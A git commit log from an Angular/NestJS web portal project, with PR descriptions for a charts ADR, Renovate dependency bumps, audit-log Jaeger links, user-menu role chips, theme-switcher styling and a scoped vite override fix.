### [`docs/decisions/README.md`](docs/decisions/README.md)

ADR-0023 added to the index table.

### [`CLAUDE.md`](CLAUDE.md)

- "Architecture (recorded in ADRs)" gains a "Charts + dashboards" bullet describing the lib + a11y baseline + bundle posture.
- "Repository status" bumps the ADR range to `0001 → 0023`.
- "Still on the roadmap" gains the charts implementation entry pointing at this ADR.

## Notes for the reviewer

- **Why honour the user's D3 preference rather than recommend pure ECharts?** D3 (and by extension Plot) is the closest match to the project's tech bar ("stable, recognized, battle-tested") for data-viz on the web; it's also the user's stated preference, and Plot's higher-level layer eliminates the "250 LOC per chart" cost that would otherwise push us toward an alternative. The ADR explicitly walks through ECharts + Chart.js as runners-up so future challengers see the trade-offs we chose against.
- **Why a single shared lib rather than per-app charts?** Both SPAs (portal-shell + portal-admin) will host dashboards. The chart vocabulary, a11y contract, palette, and theme integration are identical between the two — duplicating into app-local code would invite drift. The lib stays at `libs/shared/charts/` next to `libs/shared/ui/`.
- **Why the `_internal/` folder for cross-cutting code?** Single source of truth for the colour palette and the a11y plumbing. A lint rule (added in PR 2) will ban consumers from importing `d3-scale-chromatic` directly so the colour-blind-safe palette stays the only path.
- **Why no ADR amendment to ADR-0016 / ADR-0017?** Both are binding constraints, not superseded. The new ADR operationalises both for the chart surface; cross-references in the "Related ADRs" section make that explicit.

## Test plan

- [x] ADR validates as MADR 4.0.0 (frontmatter, section order, tag vocabulary).
- [x] No code touched — lint / test / build matrix unaffected.
- [x] `docs/decisions/README.md` index updated in the same change per the [ADR conventions](docs/decisions/README.md#conventions).
- [ ] Review for trade-off accuracy: are the bundle estimates fair? Is the "Plot covers ~80 % of standard charts" framing defensible against the user's mental model of D3?
- [ ] Implementation chantier (PR 2) lands directly behind this if accepted: `pnpm add -w d3 @observablehq/plot @types/d3`, `libs/shared/charts/` scaffold via `pnpm nx g @nx/angular:library --name=shared-charts --directory=libs/shared/charts --standalone=true --unitTestRunner=vitest-analog --tags="scope:shared,type:shared" --no-interactive`, then the 3 starter components.

## What's next

If accepted as-is, PR 2 (lib foundations + 3 starter components) follows. If a reviewer wants to push back on D3-vs-ECharts or on the a11y contract's strictness, this is the right PR to surface that — no implementation has started.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #170
2026-05-16 21:28:03 +02:00
APF Portal Bot 6c42d4c232 fix(deps): update nestjs to v11.1.21 (#169)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m32s
CI / a11y (push) Successful in 1m52s
CI / check (push) Successful in 4m27s
CI / perf (push) Successful in 5m25s
Docs site / build (push) Successful in 2m29s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/common)) | dependencies | patch | [`11.1.19` -> `11.1.21`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.19/11.1.21) |
| [@nestjs/core](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/core)) | dependencies | patch | [`11.1.19` -> `11.1.21`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.19/11.1.21) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | dependencies | patch | [`11.1.19` -> `11.1.21`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.19/11.1.21) |
| [@nestjs/testing](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/testing)) | devDependencies | patch | [`11.1.19` -> `11.1.21`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/11.1.19/11.1.21) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v11.1.21`](https://github.com/nestjs/nest/releases/tag/v11.1.21)

[Compare Source](https://github.com/nestjs/nest/compare/v11.1.20...v11.1.21)

##### v11.1.21 (2026-05-14)

##### Bug fixes

- `core`
  - [#&#8203;16948](https://github.com/nestjs/nest/pull/16948) fix(core): settle skipped provider initialization ([@&#8203;yudin-s](https://github.com/yudin-s))

##### Committers: 1

- Serge Yudin ([@&#8203;yudin-s](https://github.com/yudin-s))

### [`v11.1.20`](https://github.com/nestjs/nest/releases/tag/v11.1.20)

[Compare Source](https://github.com/nestjs/nest/compare/v11.1.19...v11.1.20)

##### v11.1.20 (2026-05-13)

##### Bug fixes

- `core`, `testing`
  - [#&#8203;16939](https://github.com/nestjs/nest/pull/16939) fix(core): fix deeply nested transient providers resolution ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))
- `core`
  - [#&#8203;16861](https://github.com/nestjs/nest/pull/16861) fix(core): fix [@&#8203;Sse](https://github.com/Sse) losing events on complete ([@&#8203;MatthiasBrehmer](https://github.com/MatthiasBrehmer))
  - [#&#8203;16753](https://github.com/nestjs/nest/pull/16753) fix(core): defer sse writehead until after lifecycle completes ([@&#8203;jkalberer](https://github.com/jkalberer))
  - [#&#8203;16782](https://github.com/nestjs/nest/pull/16782) fix(core): use strict null check for SSE message id ([@&#8203;burhanharoon](https://github.com/burhanharoon))
- `microservices`
  - [#&#8203;16850](https://github.com/nestjs/nest/pull/16850) fix(microservices): ServerRMQ crashes at boot when [@&#8203;MessagePattern](https://github.com/MessagePattern)(undefined) is combined with wildcards: true ([@&#8203;lavieennoir](https://github.com/lavieennoir))
- `common`
  - [#&#8203;16845](https://github.com/nestjs/nest/pull/16845) fix(common): accept zero timestamp in parse date pipe ([@&#8203;Mysh3ll](https://github.com/Mysh3ll))
- `platform-socket.io`
  - [#&#8203;16742](https://github.com/nestjs/nest/pull/16742) fix(socket.io): Deduplicate disconnect listener in bindMessageHandlers ([@&#8203;fru1tworld](https://github.com/fru1tworld))

##### Enhancements

- `microservices`
  - [#&#8203;16676](https://github.com/nestjs/nest/pull/16676) feat(microservices): add return buffers option for binary data ([@&#8203;Forceres](https://github.com/Forceres))
  - [#&#8203;16826](https://github.com/nestjs/nest/pull/16826) feat(microservices): handle rmq blocked/unblocked connection events ([@&#8203;thisalihassan](https://github.com/thisalihassan))
- `common`
  - [#&#8203;16902](https://github.com/nestjs/nest/pull/16902) fix(common): filetype validator buffer message ([@&#8203;QusaiAlbonni](https://github.com/QusaiAlbonni))
- `platform-express`
  - [#&#8203;16844](https://github.com/nestjs/nest/pull/16844) feat(platform-express): add defParamCharset to MulterOptions ([@&#8203;starnayuta](https://github.com/starnayuta))

##### Dependencies

- `platform-ws`
  - [#&#8203;16941](https://github.com/nestjs/nest/pull/16941) chore(deps): bump ws from 8.20.0 to 8.20.1 ([@&#8203;dependabot\[bot\]](https://github.com/apps/dependabot))

##### Committers: 13

- Ali Hassan ([@&#8203;thisalihassan](https://github.com/thisalihassan))
- Burhan Haroon ([@&#8203;burhanharoon](https://github.com/burhanharoon))
- Dmytro Khyzhniak ([@&#8203;lavieennoir](https://github.com/lavieennoir))
- Harsh Rathod ([@&#8203;harshrathod50](https://github.com/harshrathod50))
- IlyaCredo ([@&#8203;Forceres](https://github.com/Forceres))
- Kamil Mysliwiec ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))
- Mysh3ll ([@&#8203;Mysh3ll](https://github.com/Mysh3ll))
- [@&#8203;MatthiasBrehmer](https://github.com/MatthiasBrehmer)
- [@&#8203;QusaiAlbonni](https://github.com/QusaiAlbonni)
- [@&#8203;jkalberer](https://github.com/jkalberer)
- [@&#8203;pazaderey](https://github.com/pazaderey)
- fru1tworld ([@&#8203;fru1tworld](https://github.com/fru1tworld))
- starnayuta ([@&#8203;starnayuta](https://github.com/starnayuta))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #169
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-16 20:36:45 +02:00
APF Portal Bot 1edf154b67 fix(deps): update dependency express-rate-limit to v8.5.2 (#168)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m15s
CI / a11y (push) Successful in 1m11s
CI / check (push) Successful in 3m46s
CI / perf (push) Successful in 4m40s
Docs site / build (push) Successful in 2m15s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [express-rate-limit](https://github.com/express-rate-limit/express-rate-limit) | dependencies | patch | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/express-rate-limit/8.5.1/8.5.2) |

---

### Release Notes

<details>
<summary>express-rate-limit/express-rate-limit (express-rate-limit)</summary>

### [`v8.5.2`](https://github.com/express-rate-limit/express-rate-limit/releases/tag/v8.5.2)

[Compare Source](https://github.com/express-rate-limit/express-rate-limit/compare/v8.5.1...v8.5.2)

You can view the changelog [here](https://express-rate-limit.mintlify.app/reference/changelog).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #168
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-16 17:32:44 +02:00
APF Portal Bot b61e550d59 chore(deps): update dependency lint-staged to v17.0.5 (#167)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m55s
CI / a11y (push) Successful in 1m42s
CI / check (push) Successful in 4m38s
CI / perf (push) Successful in 5m29s
Docs site / build (push) Successful in 2m32s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.4` -> `17.0.5`](https://renovatebot.com/diffs/npm/lint-staged/17.0.4/17.0.5) |

---

### Release Notes

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v17.0.5`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1705)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.4...v17.0.5)

##### Patch Changes

- [#&#8203;1792](https://github.com/lint-staged/lint-staged/pull/1792) [`1f67271`](https://github.com/lint-staged/lint-staged/commit/1f672718b6fa67e0f00aafe107cb9f084f4d9102) - Correctly set the `--max-arg-length` default value based on the running platform. This controls how very long lists of staged files are split into multiple chunks.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #167
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-16 16:18:44 +02:00
julien 0435fec10a feat(portal-admin): jaeger deep link on trace_id + actor-pivot on actor_id_hash (#166)
CI / check (push) Successful in 2m35s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m26s
CI / a11y (push) Successful in 1m49s
CI / perf (push) Successful in 3m48s
## Summary

Turns the audit-log table's `trace_id` and `actor_id_hash` columns from inert text into the two pivots an investigator actually needs:

- **trace_id** → Jaeger deep link (opens in a new tab). Closes the "join audit + traces by trace_id" loop from [ADR-0012](docs/decisions/0012-observability-pino-opentelemetry.md) / [ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md) without any new BFF surface.
- **actor_id_hash** → click to refilter the table on that single actor. "Show me everything else this user did" stays in the page; no copy-paste loop.

## What lands

### Trace-id deep link to Jaeger

[`audit.html`](apps/portal-admin/src/app/pages/audit/audit.html#L162-L173) — the cell becomes an `<a target="_blank" rel="noopener noreferrer">` pointing at `${environment.jaegerBaseUrl}/trace/<traceId>`. Anonymous events (`traceId === null`) keep the dash placeholder.

[`environment.ts`](apps/portal-admin/src/environments/environment.ts) gains `jaegerBaseUrl`. Dev defaults to `http://localhost:16686` (matches the compose `observability` profile from `infra/local/dev.compose.yml`). Per-env replacement picks up whatever trace backend the future infrastructure ADR settles on — Tempo, Grafana Cloud, on-prem Jaeger; the SPA-side wiring doesn't care.

### Actor-pivot click

[`audit.html`](apps/portal-admin/src/app/pages/audit/audit.html#L146-L160) — non-null `actorIdHash` becomes a `<button>` styled to read inline like the hash text (`.actor-hash--clickable`: button reset + dotted-underline hover + brand-colored focus ring). Click → `filterByActor(hash)` sets the existing `actorIdHash` filter signal, resets offset to 0, and re-runs the query. Each pivot still emits its own `admin.audit.query` audit row server-side (per [ADR-0020](docs/decisions/0020-portal-admin-app.md)) so the drill is itself auditable.

Anonymous rows keep the `(anonymous)` plain-text rendering — there's no useful filter value to pivot on.

## Why not inline-expand Pino log lines under the row

Considered, deferred. The BFF's Pino output goes to **stdout only** today; standing up a queryable log aggregator (Loki, OpenSearch, …) is a separate infrastructure chantier with its own ADR. The Jaeger jump-off carries ~99 % of the investigator's needs anyway — the trace already contains span attributes (`db.statement`, `http.status_code`, exception events) for the same request scope; Pino lines on top of that would be redundant for most investigations.

When the log aggregator does land, the inline-expand model can come back as a follow-up: `GET /api/admin/logs?traceId=<id>` + an expand affordance on the same row. The current Jaeger anchor and the future inline-logs would naturally coexist (different drills, both surfaced on the same `trace_id`).

## Notes for the reviewer

- **Why a `<button>` for the actor cell rather than an `<a>`?** The action is an in-page filter change, not a navigation. Buttons keep keyboard activation (Enter / Space), don't pollute browser history, and screen readers announce "Filter the table on hash(jane), button" rather than a misleading link role.
- **Why the dotted-underline hover for the actor, but solid-underline for trace?** Different affordances. The trace anchor is a permanent link to an external resource (Jaeger UI), so the solid underline matches the universal "link" convention. The actor button is an inline pivot that *mutates state* — the dotted underline + hover-fill conveys "this does something subtle within the page" without screaming "link".
- **CSS guardrails preserved**: focus rings on both elements, brand-color tokens (light + dark), tap targets meet the AAA 44×44 minimum (the button reset preserves the line-height + the `cell-actor` padding ≥ 12 px on each side).
- **No new i18n strings.** `title` attributes are hover hints, not screen-reader-essential — the underlying hash + traceId are the actual semantic content. The "(anonymous)" string and the dash placeholder were already in the template.
- **No BFF change.** This whole PR is SPA-side only. The audit endpoint already returns `traceId` and `actorIdHash` in every row.

## Test plan

- [x] `pnpm nx run-many -t lint test build --projects=portal-admin` — green.
- [x] **54 portal-admin specs pass** (was 50; +4 for the four new behaviours).
- [x] Lazy `audit` chunk: 18.26 → ~18.5 KB raw / 4.44 KB gzip — comfortably under the per-chunk budget.
- [ ] **Manual smoke**:
  - Sign in to portal-admin with `Portal.Admin` → open `/audit`.
  - Click any trace_id → new tab opens at `http://localhost:16686/trace/<id>` (assuming `./infra/local/dev.sh up observability` is running so Jaeger is up).
  - Anonymous rows show `—` for trace, `(anonymous)` (plain text, not clickable) for actor.
  - Click any non-anonymous actor hash → the table refreshes filtered on that hash, the "Actor id hash" filter input above shows the same value, page jumps to offset 0.
  - Tab through a row: timestamp / event are plain text; outcome badge skipped (not interactive); actor button gets focus ring; trace link gets focus ring; payload `<details>` summary gets focus ring.

## Follow-ups (optional)

- When the log aggregator ADR lands, extend the trace cell to also offer an inline-expand of Pino lines for that trace. Jaeger anchor stays as the primary affordance.
- A similar treatment on the `/users` page (clicking a row's `oid` to "show me this user's audit trail") is the natural sibling. Defer until there's an investigator workflow that asks for it — premature otherwise.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #166
2026-05-16 03:36:40 +02:00
julien 6f26bcdd65 feat(shared-ui): move the role label from the portal-shell sidebar into the user menu (#165)
CI / check (push) Successful in 3m41s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m44s
CI / a11y (push) Successful in 1m38s
CI / perf (push) Successful in 3m8s
## Summary

Moves the "Role: …" widget from the bottom of the `portal-shell` sidebar into the user-menu panel header. Result: the role chip appears only when the reader is authenticated (the user menu only renders in that state), removing the noise of "Role: Anonymous" on signed-out traffic and de-duplicating the surface that already carries displayName / username / capability-gated actions.

```
Before: sidebar bottom  →  "Role: Anonymous"  (always rendered, even signed-out)
After:  user-menu panel →  • <role chip>      (only when authenticated)
```

## What lands

### Shared component — [`UserMenu`](libs/shared/ui/src/lib/user-menu/) gets an optional `role` input

When set, a small brand-tinted pill (`data-testid="user-menu-role"`) renders inside the panel header below the username. When undefined, the entire chip is omitted — keeps backwards compat with any future caller that doesn't carry a role concept.

```ts
readonly role = input<string | undefined>(undefined);
```

Visually echoes the `.role-chip` already used on the admin `/profile` page (rounded brand-tinted pill), tightened for the menu header density and `align-self: flex-start` so the pill doesn't stretch.

### Portal-shell

- **Header** ([header.ts](apps/portal-shell/src/app/components/header/header.ts)) gains a `roleLabel` computed that derives `Administrator` / `User` from `CapabilitiesService.canAccessAdmin` — the same logic that previously lived in the sidebar. The template binds it as `[role]="roleLabel()"` on `<lib-user-menu>`.
- **Sidebar** ([sidebar.ts](apps/portal-shell/src/app/components/sidebar/sidebar.ts), [sidebar.html](apps/portal-shell/src/app/components/sidebar/sidebar.html)) loses the role widget entirely: HTML block, `roleLabel` + `roleAriaLabel` computeds, and the `AuthService` + `CapabilitiesService` injections (the sidebar no longer needs them).
- **Sidebar spec** drops its three "role label" tests, grows a guard test asserting `data-testid="sidebar-role"` no longer exists, and reverts to the pre-#151 setup (no Http testing infrastructure — the sidebar no longer fires `/auth/me` or `/me/capabilities`).
- **Header spec** gains two assertions for the role chip inside the open menu panel (`Administrator` when `canAccessAdmin: true`, `User` otherwise).

### Portal-admin

- **Header** ([header.ts](apps/portal-admin/src/app/components/header/header.ts)) passes a **hardcoded `'Administrator'`** through `[role]`. Every reader who reaches the admin app already carries `Portal.Admin` (it's the `AdminRoleGuard` precondition for `/api/admin/*`); no need to re-derive. No i18n marks per ADR-0020's source-locale-only chrome.

### i18n

Five translation units gone from [`messages.fr.xlf`](apps/portal-shell/src/locale/messages.fr.xlf):

```
sidebar.role.anonymous
sidebar.role.administrator
sidebar.role.user
sidebar.role.aria
sidebar.role.label
```

Replaced by two new units under a generic prefix (the new owners are the user menu in either app, not the sidebar):

```
common.role.administrator
common.role.user
```

The `Anonymous` string is gone too — the chip is hidden on anonymous traffic, the label served no purpose without the user menu rendering it.

## Notes for the reviewer

- **Why a generic `common.role.*` prefix rather than `userMenu.role.*`?** The strings are reusable in any context that needs a curated role display (profile page header in a future PR, an audit log "actor role" column, …). Generic prefix avoids the next rename when a second consumer lands.
- **Why hardcode "Administrator" for portal-admin rather than reading `roles`?** The admin SPA's `CurrentUser.roles` carries the raw Entra role string (`Portal.Admin`). Displaying that in the menu header would leak the internal nomenclature into the UI — fine for the `/profile` page (it's explicit context there), wrong for the casual menu glance. The hardcoded label keeps the menu consistent with portal-shell ("Administrator" in both surfaces). If a non-admin role ever reaches portal-admin (the guard rejects it today, but the surface could evolve), this is the one place to revisit.
- **No CapabilitiesService dependency on portal-admin.** The admin app doesn't import the service — its session already exposes `roles` on `/api/admin/auth/me`, and the chip is unconditional. Keeps the admin bundle untouched by the user-portal capabilities plumbing.
- **A11y check.** The role chip is plain text inside the menu panel; the menu panel itself carries `role="menu"` + `aria-label`. The chip doesn't need an extra label — it reads "Administrator" / "User" in context after the displayName and username, which conveys the meaning. No focus state needed (not interactive).

## Test plan

- [x] `pnpm nx run-many -t lint test build --projects=shared-ui,portal-shell,portal-admin` — green.
  - `shared-ui` — **10 specs pass** (was 8; +2 for the role chip).
  - `portal-shell` — **43 specs pass** (header +2, sidebar -3 + 1 guard = -2 net, balanced to +0 on the total → 43 unchanged).
  - `portal-admin` — **50 specs pass** (no spec edits; the `[role]` binding is exercised by the existing user-menu spec via the shared component).
- [x] `pnpm nx build portal-shell --configuration=production` — i18n-strict prod build passes; confirms the xlf cleanup + new `common.role.*` keys are consistent with usage.
- [ ] **Manual smoke**:
  - **portal-shell anonymous**: sidebar bottom shows only the collapse toggle (no role line). Click "Sign in" → land back signed in, sidebar bottom unchanged.
  - **portal-shell signed in (non-admin)**: avatar → open menu → header shows `Signed in as / displayName / username / [User]` chip.
  - **portal-shell signed in (admin)**: same, chip reads `Administrator`, and the menu carries the `Open Portal Admin` row above Sign out.
  - **portal-admin signed in**: avatar → open menu → `[Administrator]` chip regardless of which admin user signed in.
  - Tabbing across the sidebar bottom no longer pauses on a non-interactive `<p>` element — directly hits the collapse toggle button.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #165
2026-05-16 03:09:56 +02:00
julien 10c80f189d feat(portal-shell): align theme switcher trigger with locale switcher shape (#164)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m50s
CI / check (push) Successful in 3m24s
CI / a11y (push) Successful in 1m9s
CI / perf (push) Successful in 4m59s
## Summary

Aligns the theme-switcher trigger on the same chip shape as the locale-switcher. Both controls live side-by-side in the footer's device-prefs cluster (#162); the visual mismatch (round icon button vs. chip) made them read as two unrelated widgets rather than one family.

```
Before:  [☀]                       (round icon button, 44×44)
After:   [☀ System ▾]              (chip — icon + label + chevron)
```

The leading icon stays driven by `currentIcon()` so a **sun / moon / monitor** glyph still flips with the selected mode — that's the visual feedback the original icon-only design existed for, and it's preserved.

## What lands

### [`theme-switcher.html`](apps/portal-shell/src/app/components/theme-switcher/theme-switcher.html)

The round Tailwind-utility icon button becomes a `.theme-switcher__trigger` chip with three children — current-mode icon (size 14), localised mode label, `chevron-down` (size 12). Same children layout as `.locale-switcher__trigger`.

### [`theme-switcher.scss`](apps/portal-shell/src/app/components/theme-switcher/theme-switcher.scss)

Adds `.theme-switcher__trigger` mirroring `.locale-switcher__trigger` rule-for-rule: same chip metrics (min-height 2.75rem for the AAA 44×44 tap target via vertical-padding overflow inside the thin footer), same hover/focus tokens, same dark-mode swap.

Two copies rather than a shared `_chip-trigger.scss` partial — two switchers in one app is below the "three similar things" threshold CLAUDE.md sets for extraction. Promotes when a third switcher lands.

## Notes for the reviewer

- **No spec changes**. The existing assertions check `button[aria-haspopup="menu"]` + the aria-label content (`"Theme: <current> (open menu)"`). Both preserved — the trigger button still has `aria-haspopup="menu"` from `cdkMenuTriggerFor`, and `triggerAriaLabel()` is unchanged.
- **No new i18n strings**. The chip text reuses `currentLabel()`, which already returns `Light` / `Dark` / `System` from the existing `theme.mode.{light,dark,system}` translation units (they were used in the dropdown menu items before this PR; now they also drive the trigger label). Prod i18n-strict build passes.
- **Why mirror, not refactor into a shared partial?** Two switchers, identical chip shape — extracting now would be premature abstraction per [CLAUDE.md](CLAUDE.md). When a third switcher lands (an accessibility-panel toggle is the most likely candidate per [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md)'s preferences-panel plan), `_chip-trigger.scss` or a `<lib-chip-trigger>` component starts to pay off. The two copies today are mechanical and live next door — easy to keep in sync.
- **No `portal-admin` impact.** No theme switcher there (admin chrome is brand-primary-600 hardcoded for now); no change needed.

## Test plan

- [x] `pnpm nx run-many -t lint test build --projects=portal-shell` — green; **43 specs pass** (unchanged from main).
- [x] `pnpm nx build portal-shell --configuration=production` — i18n-strict prod build passes.
- [ ] **Manual visual smoke** — `pnpm nx serve portal-shell`, open the home page in a browser, confirm:
  - The theme switcher in the bottom-right of the footer is now a chip with the current mode icon + label + chevron, matching the locale chip beside it.
  - Hovering both switchers shows the same brand-primary hover color (light + dark mode).
  - Clicking the theme chip still opens the menu with three options (Light / Dark / System), the current option still carries a `✓` check.
  - Selecting Dark → trigger icon flips to moon + label flips to "Dark" + page goes dark. Switching to System: trigger icon flips to monitor + label flips to "System".
  - Tabbing across the footer hits accessibility link → locale → theme in that order, focus rings are identical between the two switchers.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #164
2026-05-16 02:52:53 +02:00
julien bba1703622 fix(deps): scope the vite < 7 override to vitepress so @angular/build keeps vite 8 (#163)
CI / check (push) Successful in 3m15s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m25s
CI / a11y (push) Successful in 2m31s
Docs site / build (push) Successful in 4m2s
CI / perf (push) Successful in 5m0s
## Summary

Hotfix on the override added in [#161](#161). The unconditional `"vite": ">=6.4.2 <7"` was too broad — it downgraded **every** vite consumer in the workspace to vite 6.4.2, including `@angular/build@21.2.11`. Angular's dev-server plugin (`angular-memory-plugin.js > loadViteClientCode`) monkey-patches Vite's client error-overlay code; the patch targets vite 8.x's internal layout, fails against vite 6, and the home page blank-screens with:

```
[vite] Internal server error: Failed to update Vite client error overlay text.
  at loadViteClientCode (angular-memory-plugin.js:140:31)
```

…on the very first request to `pnpm nx serve portal-shell`.

## Fix

One-line change in [`package.json`](package.json) → `pnpm.overrides`:

```diff
- "vite":          ">=6.4.2 <7",
+ "vitepress>vite": ">=6.4.2 <7",
```

pnpm's `parent>child` selector syntax scopes the override to vitepress's transitive resolution only. Other vite consumers (Angular, Nx, Vitest, the analog plugin) follow their own peer constraints and resolve to vite 8.0.13 again.

## Resolution after the fix

| Consumer | vite version | Why |
| --- | --- | --- |
| `vitepress 1.6.4` | **6.4.2** | Override target — keeps VitePress 1.x off rolldown-vite |
| `@angular/build 21.2.11` | **8.0.13** | Restored; its dev-server plugin needs vite 8's client layout |
| `@nx/vite`, `@analogjs/vite-plugin-angular`, Vitest | **8.0.13** | Restored |
| `@vitejs/plugin-basic-ssl` (analog transitive) | 7.3.2 | Its own peer range; HTTPS-cert helper only, not the dev-server host. Doesn't affect us. |

## Why this regression didn't surface in #161's CI

The `docs-site.yml` workflow and `pnpm exec nx run-many -t lint test build` exercise the **production build** paths. Vite 6 ↔ Angular-build 21.2's monkey-patch incompatibility is a **dev-server-only** failure (the prod Rollup pipeline doesn't go through `loadViteClientCode`). CI couldn't have caught it; manual `nx serve portal-shell` is the only repro path. Lesson logged.

## Test plan

- [x] `pnpm install` — clean. Lockfile diff confirms: vite 6.4.2 only under vitepress, vite 8.0.13 restored everywhere else.
- [x] `pnpm audit --audit-level=moderate` — no known vulnerabilities.
- [x] `pnpm docs:build` — ~9.5 s, Mermaid still renders in ADR-0009's HTML (regression fence passes).
- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell,portal-admin,portal-bff,shared-ui,shared-state,feature-auth` — green.
- [x] **`pnpm nx serve portal-shell`** — boots cleanly, `curl http://localhost:4200/` returns HTTP 200 with the SPA shell, no `loadViteClientCode` error in the dev log. (This is the path that broke.)
- [ ] **Manual smoke (the user's repro)** — `pnpm nx serve portal-shell`, open the home page in a browser, confirm:
  - No "Failed to update Vite client error overlay text" in the browser DevTools console.
  - Page renders; navigating to `/accessibility`, `/profile` works.
  - Theme switcher in the footer toggles light / dark / system; locale switcher likewise.

## Notes for the reviewer

- **Lesson on override scoping**: the version-selector form (`"package@<vuln-range>": "patched"`) is the safest default — it only kicks in for the vulnerable range. The unconditional form (`"package": "<range>"`) is a sledgehammer and should be reserved for cases where the version-selector form genuinely can't express the intent (as was the case in #161 where the resolved version was already past the vulnerable range, so the selector was a no-op). When the unconditional form is needed, **always scope to a parent** (`"parent>package": …`) to avoid the workspace-wide blast radius.
- **No documentation change in this PR**: development.md's "Transitive vulnerabilities — `pnpm.overrides`" subsection (from #160) is still accurate. A follow-up edit could add a "scope to a parent when possible" sentence; not blocking.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #163
2026-05-16 02:07:43 +02:00
julien 076cfb67a6 feat(portal-shell): move theme switcher to footer, drop redundant settings icon (#162)
CI / check (push) Successful in 2m6s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m32s
CI / a11y (push) Successful in 1m14s
CI / perf (push) Successful in 3m9s
## Summary

Three coupled chrome adjustments in `portal-shell`'s shell layout, all motivated by the same realisation that the UserMenu introduced in #149 made the header's standalone Settings icon redundant and surfaced an inconsistency in the theme switcher's placement (header for everyone, soon to be split between header and user-menu depending on auth state).

## What lands

### 1. Drop the standalone Settings button from the header

The UserMenu already carries a "Settings (Soon)" row for authenticated users, and Settings has no meaning for anonymous traffic. The header icon pointed nowhere; keeping it doubled the surface and forced readers to guess which control to use. `header.action.settings` is removed from [`messages.fr.xlf`](apps/portal-shell/src/locale/messages.fr.xlf) in the same step — the i18n-strict prod build is now back in sync with the source.

